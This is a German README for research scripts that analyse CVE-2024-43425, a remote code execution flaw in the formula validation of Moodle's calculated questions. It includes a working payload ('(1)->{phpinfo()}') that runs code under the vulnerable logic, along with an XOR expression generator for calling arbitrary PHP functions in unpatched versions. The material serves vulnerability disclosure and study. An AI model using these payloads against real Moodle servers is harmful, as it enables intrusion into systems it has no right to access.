
Skripte zur Analyse einer RCE in Moodle Berechnungsfragen (CVE-2024-43425)
Dieses Repository enthält die Begleitskripte zum Blogbeitrag Back to School - Exploiting a Remote Code Execution Vulnerability in Moodle, der eine Remote-Code-Ausführung-Schwachstelle in der Lernplattform Moodle beschreibt.
Die Skripte im Verzeichnis validation können verwendet werden, um Eingabezeichenfolgen direkt gegen die Validierungslogik zu testen, die Moodle verwendet, um Missbrauch eines Aufrufs von PHP eval() zu verhindern.
Alle Codeausschnitte wurden direkt aus Moodles Quellcode übernommen, wobei die Version 4.4.1 für die anfällige Version und 4.4.2 für die behobene Version verwendet wurde.
Die Skripte enthalten die relevanten Teile der Datei question/type/calculated/questiontype.php.
Die Datei validation.php verwendet die anfällige Validierungslogik:
$ php validation.php '(1)->{phpinfo()}'
phpinfo()
PHP Version => 8.3.10
[...]
Dieses Repository enthält auch die behobene Version des Validierungscodes in validation-fixed.php:
$ php validation-fixed.php '(1)->{phpinfo()}'
error illegalformulasyntax with value: {phpinfo()}
[...]
Das Skript xor-generator.py kann verwendet werden, um Ausdrücke basierend auf variablen Funktionen zu generieren, die es erlauben, beliebige PHP-Funktionen mit einem einzelnen numerischen Parameter in anfälligen Versionen von Moodle aufzurufen:
$ ./xor-generator.py 'PRINTF'
((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))
$ php -r '((acos(2) . 0+acos(2)) ^ (2 . 6 . 0 . 0 . 0 . 0) ^ (1 . 0 . 0 . 0 . -8) ^ (0 . -4 . 1 . 8 . 0) ^ (-8 . 3 . 1 . 0 . 0))("Test");'
Test